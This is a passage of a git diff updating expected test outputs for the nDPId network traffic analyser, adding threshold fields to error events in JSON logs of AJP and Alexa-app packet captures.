failed","datalink":1,"threshold_n":8,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1505154584618218,"packet_id":25,"source":"ajp.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":1505154584618218} 00396{"packet_event_id":1,"packet_event_name":"packet","packet_id":25,"source":"ajp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"thread_ts_usec":1505154584618218,"pkt":"Agq8AAAAAgq9AAAAiQNAIABQVoOO8wBQVoNdWIEAAAcIAEUAADyyyEAAQAYclKwdCZKsHQmTl8gfSXLF2y8AAAAAoAI5COYNAAACBAW0BAIICk6caecAAAAAAQMDBw=="} -00201{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":27,"source":"ajp.pcap","alias":"nDPId-test","l4_data_len":52,"global_ts_usec":1505154584618218} +00301{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":9,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1505154584618218,"packet_id":27,"source":"ajp.pcap","alias":"nDPId-test","l4_data_len":52,"global_ts_usec":1505154584618218} 00384{"packet_event_id":1,"packet_event_name":"packet","packet_id":27,"source":"ajp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":86,"pkt_l4_len":0,"thread_ts_usec":1505154584618218,"pkt":"Agq9AAAAAgq8AAAAiQNAIABQVoNdWABQVoOO84EAAAcIAEUAADTBYEAAQAYOBKwdCZOsHQmSH0mXyJOgLrlyxds1gBAAcnzPAAABAQgKHlfv2U6caeg="} -00201{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":29,"source":"ajp.pcap","alias":"nDPId-test","l4_data_len":57,"global_ts_usec":1505154584618218} +00302{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":10,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1505154584618218,"packet_id":29,"source":"ajp.pcap","alias":"nDPId-test","l4_data_len":57,"global_ts_usec":1505154584618218} 00394{"packet_event_id":1,"packet_event_name":"packet","packet_id":29,"source":"ajp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":91,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":91,"pkt_l4_len":0,"thread_ts_usec":1505154584618218,"pkt":"Agq9AAAAAgq8AAAAiQNAIABQVoNdWABQVoOO84EAAAcIAEUAADnBYUAAQAYN\/qwdCZOsHQmSH0mXyJOgLrlyxds1gBgAcjJ\/AAABAQgKHlfv2U6caehBQgABCQ=="} -00202{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":30,"source":"ajp.pcap","alias":"nDPId-test","l4_data_len":878,"global_ts_usec":1505154584618218} +00303{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":11,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1505154584618218,"packet_id":30,"source":"ajp.pcap","alias":"nDPId-test","l4_data_len":878,"global_ts_usec":1505154584618218} 01491{"packet_event_id":1,"packet_event_name":"packet","packet_id":30,"source":"ajp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":912,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":912,"pkt_l4_len":0,"thread_ts_usec":1505154584618218,"pkt":"Agq8AAAAAgq9AAAAiQNAIABQVoOO8wBQVoNdWIEAAAcIAEUAA26yzEAAQAYZXqwdCZKsHQmTl8gfSXLF2zWToC6+gBgAc\/j3AAABAQgKTpxp6B5X79kSNAM2AgQACEhUVFAvMS4xAAA0L0NDUC9wYWdlcy9yZWxhdG9yaW9zL3JlbGF0b3Jpb0RlT3JkZW1EZVNlcnZpY28uc2VhbQAADDE3Mi4yOS4wLjEyOQD\/\/wAXc2lzdGVtYXNjY3AuaW5lcC5nb3YuYnIAAFAAAA6gBgAKa2VlcC1hbGl2ZQAADUNhY2hlLUNvbnRyb2wAAAltYXgtYWdlPTAAAAZPcmlnaW4AAB5odHRwOi8vc2lzdGVtYXNjY3AuaW5lcC5nb3YuYnIAABlVcGdyYWRlLUluc2VjdXJlLVJlcXVlc3RzAAABMQCgDgBpTW96aWxsYS81LjAgKFgxMTsgTGludXggeDg2XzY0KSBBcHBsZVdlYktpdC81MzcuMzYgKEtIVE1MLCBsaWtlIEdlY2tvKSBDaHJvbWUvNjAuMC4zMTEyLjExMyBTYWZhcmkvNTM3LjM2AKAHACFhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQAoAEAVXRleHQvaHRtbCxhcHBsaWNhdGlvbi94aHRtbCt4bWwsYXBwbGljYXRpb24veG1sO3E9MC45LGltYWdlL3dlYnAsaW1hZ2UvYXBuZywqLyo7cT0wLjgAoA0AW2h0dHA6Ly9zaXN0ZW1hc2NjcC5pbmVwLmdvdi5ici9DQ1AvcGFnZXMvcmVsYXRvcmlvcy9yZWxhdG9yaW9EZU9yZGVtRGVTZXJ2aWNvLnNlYW0\/Y2lkPTY4MDgAAA9BY2NlcHQtRW5jb2RpbmcAAARnemlwAAAPQWNjZXB0LUxhbmd1YWdlAAAjcHQtQlIscHQ7cT0wLjgsZW4tVVM7cT0wLjYsZW47cT0wLjQAoAgAAzIxOQCgCQAySlNFU1NJT05JRD0wODUzOTA3RDhFMzI0Nzc2QTc0QzJBNTBBMzI2NjRFMi4wMDkxNDcAoAsAF3Npc3RlbWFzY2NwLmluZXAuZ292LmJyAAAMWC1JTUZvcndhcmRzAAACMjAABgAGMDA5MTQ3AAoAD0FKUF9SRU1PVEVfUE9SVAAABDU3MDUACgAQSktfTEJfQUNUSVZBVElPTgAAA0FDVAD\/"} -00201{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":35,"source":"ajp.pcap","alias":"nDPId-test","l4_data_len":52,"global_ts_usec":1505154584618218} +00302{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":12,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1505154584618218,"packet_id":35,"source":"ajp.pcap","alias":"nDPId-test","l4_data_len":52,"global_ts_usec":1505154584618218} 00384{"packet_event_id":1,"packet_event_name":"packet","packet_id":35,"source":"ajp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":86,"pkt_l4_len":0,"thread_ts_usec":1505154584618218,"pkt":"Agq9AAAAAgq8AAAAiQNAIABQVoNdWABQVoOO84EAAAcIAEUAADTBYkAAQAYOAqwdCZOsHQmSH0mXyJOgLr5yxd9QgBAAi3iVAAABAQgKHlfv2k6caeg="} 00898{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":38,"source":"ajp.pcap","alias":"nDPId-test","flow_id":1,"flow_state":"finished","flow_src_packets_processed":7,"flow_dst_packets_processed":6,"flow_first_seen":1505154584447407,"flow_src_last_pkt_time":1505154584618218,"flow_dst_last_pkt_time":1505154584617955,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":0,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":826,"flow_dst_max_l4_payload_len":230,"flow_src_tot_l4_payload_len":1056,"flow_dst_tot_l4_payload_len":241,"midstream":0,"thread_ts_usec":1505154584618218,"l3_proto":"ip4","src_ip":"172.29.9.146","dst_ip":"172.29.9.147","src_port":38856,"dst_port":8009,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":3,"ndpi": {"confidence": {"6":"DPI"},"proto":"AJP","proto_id":"139","encrypted":0,"breed":"Acceptable","category_id":5,"category":"Web"}} 00898{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":38,"source":"ajp.pcap","alias":"nDPId-test","flow_id":2,"flow_state":"finished","flow_src_packets_processed":7,"flow_dst_packets_processed":6,"flow_first_seen":1505154584618218,"flow_src_last_pkt_time":1505154584618218,"flow_dst_last_pkt_time":1505154584618218,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":0,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":826,"flow_dst_max_l4_payload_len":230,"flow_src_tot_l4_payload_len":1056,"flow_dst_tot_l4_payload_len":241,"midstream":0,"thread_ts_usec":1505154584618218,"l3_proto":"ip4","src_ip":"172.29.9.146","dst_ip":"172.29.9.147","src_port":38856,"dst_port":8010,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":3,"ndpi": {"confidence": {"6":"DPI"},"proto":"AJP","proto_id":"139","encrypted":0,"breed":"Acceptable","category_id":5,"category":"Web"}} @@ -49,6 +49,6 @@ ~~ total memory freed........: 6038291 bytes ~~ total allocations/frees...: 121525/121525 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -~~ json string min len.......: 205 chars +~~ json string min len.......: 305 chars ~~ json string max len.......: 1496 chars -~~ json string avg len.......: 849 chars +~~ json string avg len.......: 899 chars diff --git a/test/results/alexa-app.pcapng.out b/test/results/alexa-app.pcapng.out index 6e255e708..f8f17bae9 100644 --- a/test/results/alexa-app.pcapng.out +++ b/test/results/alexa-app.pcapng.out @@ -1,8 +1,8 @@ 00491{"daemon_event_id":1,"daemon_event_name":"init","thread_id":0,"packet_id":0,"source":"alexa-app.pcapng","alias":"nDPId-test","max-flows-per-thread":2048,"max-idle-flows-per-thread":64,"reader-thread-count":1,"flow-scan-interval":10000000,"generic-max-idle-time":600000000,"icmp-max-idle-time":120000000,"udp-max-idle-time":180000000,"tcp-max-idle-time":3265032704,"max-packets-per-flow-to-send":3,"max-packets-per-flow-to-process":32,"max-packets-per-flow-to-analyse":32,"global_ts_usec":0} 00554{"daemon_event_id":4,"daemon_event_name":"status","thread_id":0,"packet_id":1,"source":"alexa-app.pcapng","alias":"nDPId-test","packets-captured":1,"packets-processed":0,"total-skipped-flows":0,"total-l4-payload-len":0,"total-not-detected-flows":0,"total-guessed-flows":0,"total-detected-flows":0,"total-detection-updates":0,"total-updates":0,"current-active-flows":0,"total-active-flows":0,"total-idle-flows":0,"total-compressions":0,"total-compression-diff":0,"current-compression-diff":0,"total-events-serialized":2,"global_ts_usec":1490976022526783} -00187{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":1,"source":"alexa-app.pcapng","alias":"nDPId-test","layer_type":6,"global_ts_usec":1490976022526783} +00287{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1490976022526783,"packet_id":1,"source":"alexa-app.pcapng","alias":"nDPId-test","layer_type":6,"global_ts_usec":1490976022526783} 00309{"packet_event_id":1,"packet_event_name":"packet","packet_id":1,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":20,"pkt_type":6,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":20,"pkt_l4_len":0,"thread_ts_usec":1490976022526783,"pkt":"\/\/\/\/\/\/\/\/ePiC0\/vCAAYAAa+BAQA="} -00187{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":2,"source":"alexa-app.pcapng","alias":"nDPId-test","layer_type":6,"global_ts_usec":1490976022526847} +00287{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":2,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1490976022526847,"packet_id":2,"source":"alexa-app.pcapng","alias":"nDPId-test","layer_type":6,"global_ts_usec":1490976022526847} 00309{"packet_event_id":1,"packet_event_name":"packet","packet_id":2,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":20,"pkt_type":6,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":20,"pkt_l4_len":0,"thread_ts_usec":1490976022526783,"pkt":"\/\/\/\/\/\/\/\/ePiC0\/vCAAYAAa+BAQA="} 00722{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":1,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1490976022731312,"flow_src_last_pkt_time":1490976022731312,"flow_dst_last_pkt_time":1490976022731312,"flow_idle_time":140000000,"flow_src_min_l4_payload_len":24,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":24,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":24,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1490976022731312,"l3_proto":"ip6","src_ip":"::","dst_ip":"ff02::1:ffd3:fbc2","l4_proto":"icmp6","flow_datalink":1,"flow_max_packets":3} 00552{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_src_last_pkt_time":1490976022731312,"flow_dst_last_pkt_time":1490976022731312,"flow_idle_time":140000000,"pkt_oversize":false,"pkt_caplen":78,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":78,"pkt_l4_len":24,"thread_ts_usec":1490976022731312,"pkt":"MzP\/0\/vCePiC0\/vCht1gAAAAABg6\/wAAAAAAAAAAAAAAAAAAAAD\/AgAAAAAAAAAAAAH\/0\/vChwCHAgAAAAD+gAAAAAAAAHr4gv\/+0\/vC"} @@ -209,7 +209,7 @@ 00759{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":389,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":40,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1490976043611721,"flow_src_last_pkt_time":1490976043611721,"flow_dst_last_pkt_time":1490976043611721,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":35,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":35,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":35,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1490976043611721,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"172.16.42.1","src_port":43350,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 00547{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":389,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":40,"flow_packet_id":1,"flow_src_last_pkt_time":1490976043611721,"flow_dst_last_pkt_time":1490976043611721,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":77,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":77,"pkt_l4_len":43,"thread_ts_usec":1490976043611721,"pkt":"AMDKkaPvePiC0\/vCCABFAAA\/WlZAAEARM16sECrYrBAqAalWADUAK0G7veEBAAABAAAAAAAABmZscy1uYQZhbWF6b24DY29tAAABAAE="} 01005{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":389,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":40,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1490976043611721,"flow_src_last_pkt_time":1490976043611721,"flow_dst_last_pkt_time":1490976043611721,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":35,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":35,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":35,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1490976043611721,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"172.16.42.1","src_port":43350,"dst_port":53,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNS.Amazon","proto_id":"5.178","encrypted":0,"breed":"Acceptable","category_id":5,"category":"Web","hostname":"fls-na.amazon.com","dns": {"num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}}} -00193{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":392,"source":"alexa-app.pcapng","alias":"nDPId-test","layer_type":35085,"global_ts_usec":1490976043617123} +00293{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1490976043617123,"packet_id":392,"source":"alexa-app.pcapng","alias":"nDPId-test","layer_type":35085,"global_ts_usec":1490976043617123} 00360{"packet_event_id":1,"packet_event_name":"packet","packet_id":392,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":35085,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1490976043612089,"pkt":"AMDKkaPvePiC0\/vCiQ0CDAoBZRIAwMqRdPh4+ILT+8IAwMqRo+\/dFACgxgAAAAAAAAAAAAAAAAAAAAAA"} 02263{"flow_event_id":5,"flow_event_name":"analyse","thread_id":0,"packet_id":394,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":28,"flow_state":"finished","flow_src_packets_processed":18,"flow_dst_packets_processed":14,"flow_first_seen":1490976041156517,"flow_src_last_pkt_time":1490976043655892,"flow_dst_last_pkt_time":1490976043654956,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":0,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1114,"flow_dst_max_l4_payload_len":1460,"flow_src_tot_l4_payload_len":4861,"flow_dst_tot_l4_payload_len":5515,"midstream":0,"thread_ts_usec":1490976043655892,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45661,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":3,"data_analysis": {"iat": {"min":70,"avg":161219.8,"max":1015894,"stddev":286084.3,"var":81844248576.0,"ent":3.4,"data": [55686,59305,1428,66601,358,70,64102,4784,271,2661,66908,3070,100753,8343,108356,5909,66864,500848,354092,941132,3002,88712,111843,176480,211,64686,9150,104205,1015894,966451,45639]},"pktlen": {"min":40,"avg":366.2,"max":1500,"stddev":485.1,"var":235358.5,"ent":3.9,"data": [60,48,40,247,1500,1500,385,40,40,40,366,46,99,40,1122,46,941,40,1106,1106,46,493,40,1154,46,877,40,40,46,40,46,40]},"bins": {"c_to_s": [12,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3,1,0,0,0,0,0,0,0,0,0,0,0,0,0],"s_to_c": [7,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0]},"directions": [0,1,0,0,1,1,1,0,0,0,0,1,1,0,0,1,1,0,0,0,1,1,0,0,1,1,0,0,1,0,1,0],"entropies": [4.617588520,5.095174789,4.784183979,5.540180683,6.803335667,7.281946659,7.383058548,4.784183979,4.784183979,4.734184265,7.281152725,4.652828693,6.003940582,4.881687164,7.811503887,4.501398087,7.765291691,4.831687450,7.799355507,7.797914982,4.565871716,7.570134640,4.831686974,7.815543175,4.565872192,7.742568493,4.881687164,4.931687355,4.544876099,4.831687450,4.544876099,4.781687260]},"ndpi": {"flow_risk": {"8": {"risk":"Weak TLS Cipher","severity":"High","risk_score": {"total":250,"client":225,"server":25}}},"confidence": {"6":"DPI"},"proto":"TLS.Amazon","proto_id":"91.178","encrypted":1,"breed":"Acceptable","category_id":5,"category":"Web"}} 00567{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":397,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":40,"flow_packet_id":2,"flow_src_last_pkt_time":1490976043611721,"flow_dst_last_pkt_time":1490976043811357,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":93,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":93,"pkt_l4_len":59,"thread_ts_usec":1490976043811357,"pkt":"ePiC0\/vCAMDKkaPvCABFAABP0pFAAEARuxKsECoBrBAq2AA1qVYAO\/ZCveGBgAABAAEAAAAABmZscy1uYQZhbWF6b24DY29tAAABAAHADAABAAEAAAAbAARIFc6H"} @@ -316,7 +316,7 @@ 00515{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":722,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":56,"flow_packet_id":3,"flow_src_last_pkt_time":1490976047908219,"flow_dst_last_pkt_time":1490976047907178,"flow_idle_time":3285032704,"pkt_oversize":false,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"thread_ts_usec":1490976047908219,"pkt":"AMDKkaPvePiC0\/vCCABFAAAo4nNAAEAGatesECrYSBXOh6SgAbtFc7N0poZxSlAQAVcJ5AAA"} 01061{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":723,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":56,"flow_state":"info","flow_src_packets_processed":3,"flow_dst_packets_processed":1,"flow_first_seen":1490976047858519,"flow_src_last_pkt_time":1490976047908954,"flow_dst_last_pkt_time":1490976047907178,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":0,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":237,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":237,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1490976047908954,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"72.21.206.135","src_port":42144,"dst_port":443,"l4_proto":"tcp","ndpi": {"confidence": {"6":"DPI"},"proto":"TLS.Amazon","proto_id":"91.178","encrypted":1,"breed":"Acceptable","category_id":5,"category":"Web","hostname":"fls-na.amazon.com","tls": {"version":"TLSv1.2","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1"}}} 01119{"flow_event_id":8,"flow_event_name":"detection-update","thread_id":0,"packet_id":726,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":56,"flow_state":"info","flow_src_packets_processed":3,"flow_dst_packets_processed":4,"flow_first_seen":1490976047858519,"flow_src_last_pkt_time":1490976047908954,"flow_dst_last_pkt_time":1490976047956403,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":0,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":237,"flow_dst_max_l4_payload_len":156,"flow_src_tot_l4_payload_len":237,"flow_dst_tot_l4_payload_len":156,"midstream":0,"thread_ts_usec":1490976047956403,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"72.21.206.135","src_port":42144,"dst_port":443,"l4_proto":"tcp","ndpi": {"confidence": {"6":"DPI"},"proto":"TLS.Amazon","proto_id":"91.178","encrypted":1,"breed":"Acceptable","category_id":5,"category":"Web","hostname":"fls-na.amazon.com","tls": {"version":"TLSv1.2","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"d199ba0af2b08e204c73d6d81a1fd260","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","alpn":"h2,http\/1.1"}}} -00193{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":757,"source":"alexa-app.pcapng","alias":"nDPId-test","layer_type":35085,"global_ts_usec":1490976048620673} +00293{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":2,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1490976048620673,"packet_id":757,"source":"alexa-app.pcapng","alias":"nDPId-test","layer_type":35085,"global_ts_usec":1490976048620673} 00360{"packet_event_id":1,"packet_event_name":"packet","packet_id":757,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":35085,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1490976048429947,"pkt":"AMDKkaPvePiC0\/vCiQ0CDAoBZRIAwMqRdPh4+ILT+8IAwMqRo+\/dFACgxgAAAAAAAAAAAAAAAAAAAAAA"} 00760{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":780,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":57,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1490976054009715,"flow_src_last_pkt_time":1490976054009715,"flow_dst_last_pkt_time":1490976054009715,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":0,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":0,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":0,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1490976054009715,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45687,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":3} 00545{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":780,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":57,"flow_packet_id":1,"flow_src_last_pkt_time":1490976054009715,"flow_dst_last_pkt_time":1490976054009715,"flow_idle_time":3285032704,"pkt_oversize":false,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"thread_ts_usec":1490976054009715,"pkt":"AMDKkaPvePiC0\/vCCABFAAA8L1JAAEAGF52sECrYNF7ohrJ3AbtDNXw1AAAAAKAC\/\/+MNwAAAgQFtAQCCAoA9lNnAAAAAAEDAwg="} @@ -577,7 +577,7 @@ 00516{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1503,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":99,"flow_packet_id":3,"flow_src_last_pkt_time":1490976093486409,"flow_dst_last_pkt_time":1490976093481996,"flow_idle_time":3285032704,"pkt_oversize":false,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"thread_ts_usec":1490976093486409,"pkt":"AMDKkaPvePiC0\/vCCABFAAAo8bNAAEAGXN+sECrYsCBlNKvhAbv82ZN2gXVAtlAQAVfCJwAA"} 01181{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":1504,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":99,"flow_state":"info","flow_src_packets_processed":3,"flow_dst_packets_processed":1,"flow_first_seen":1490976093358419,"flow_src_last_pkt_time":1490976093491797,"flow_dst_last_pkt_time":1490976093481996,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":0,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":192,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":192,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1490976093491797,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"176.32.101.52","src_port":44001,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15": {"risk":"TLS (probably) Not Carrying HTTPS","severity":"Low","risk_score": {"total":760,"client":680,"server":80}}},"confidence": {"6":"DPI"},"proto":"TLS.Amazon","proto_id":"91.178","encrypted":1,"breed":"Acceptable","category_id":5,"category":"Web","hostname":"dp-gw-na-js.amazon.com","tls": {"version":"TLSv1.2","ja3":"731bcada65b0a6f850bada3bdcd716d1","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}}} 01660{"flow_event_id":8,"flow_event_name":"detection-update","thread_id":0,"packet_id":1511,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":99,"flow_state":"info","flow_src_packets_processed":3,"flow_dst_packets_processed":5,"flow_first_seen":1490976093358419,"flow_src_last_pkt_time":1490976093491797,"flow_dst_last_pkt_time":1490976093953778,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":0,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":192,"flow_dst_max_l4_payload_len":1460,"flow_src_tot_l4_payload_len":192,"flow_dst_tot_l4_payload_len":3402,"midstream":0,"thread_ts_usec":1490976093953778,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"176.32.101.52","src_port":44001,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15": {"risk":"TLS (probably) Not Carrying HTTPS","severity":"Low","risk_score": {"total":760,"client":680,"server":80}}},"confidence": {"6":"DPI"},"proto":"TLS.Amazon","proto_id":"91.178","encrypted":1,"breed":"Acceptable","category_id":5,"category":"Web","hostname":"dp-gw-na-js.amazon.com","tls": {"version":"TLSv1.2","server_names":"dp-gw-na.amazon.com,dp-gw-na-js.amazon.com,dp-gw-na.amazon.co.uk,dp-gw-na.amazon.de,dp-gw-na.amazon.co.jp,dp-gw-na.amazon.in","ja3":"731bcada65b0a6f850bada3bdcd716d1","ja3s":"fbe78c619e7ea20046131294ad087f05","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=US, O=Symantec Corporation, OU=Symantec Trust Network, CN=Symantec Class 3 Secure Server CA - 